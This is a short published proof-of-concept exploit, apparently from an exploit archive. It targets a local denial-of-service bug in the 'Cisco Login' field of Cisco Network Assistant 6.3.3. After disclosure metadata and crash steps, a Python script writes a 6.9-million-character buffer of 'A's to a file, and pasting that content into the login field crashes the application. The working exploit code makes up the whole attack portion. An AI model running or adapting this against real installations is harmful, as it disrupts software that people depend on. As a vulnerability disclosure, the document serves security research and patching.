Cisco Network Assistant 6.3.3 - 'Cisco Login' Denial of Service (PoC)

# Exploit Title: Cisco Network Assistant 6.3.3 - 'Cisco Login' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2018-08-27
# Vendor Homepage: https://www.cisco.com/
# Software Link : https://software.cisco.com/download/home/286277276/type/280775097/release/6.3.3
# Tested Version: 6.3.3
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:
# 1.- Run python code : python Cisco_Network_Assistant_6.3.3.py
# 2.- Open Cisco_Network_Assistant_6.3.3.txt and copy content to clipboard
# 3.- Open Cisco Network Assistant
# 4.- Authenticate to Cisco CCO
# 5.- Paste ClipBoard on "Cisco Login"
# 6.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 6900000
f = open ("Cisco_Network_Assistant_6.3.3.txt", "w")
f.write(buffer)
f.close()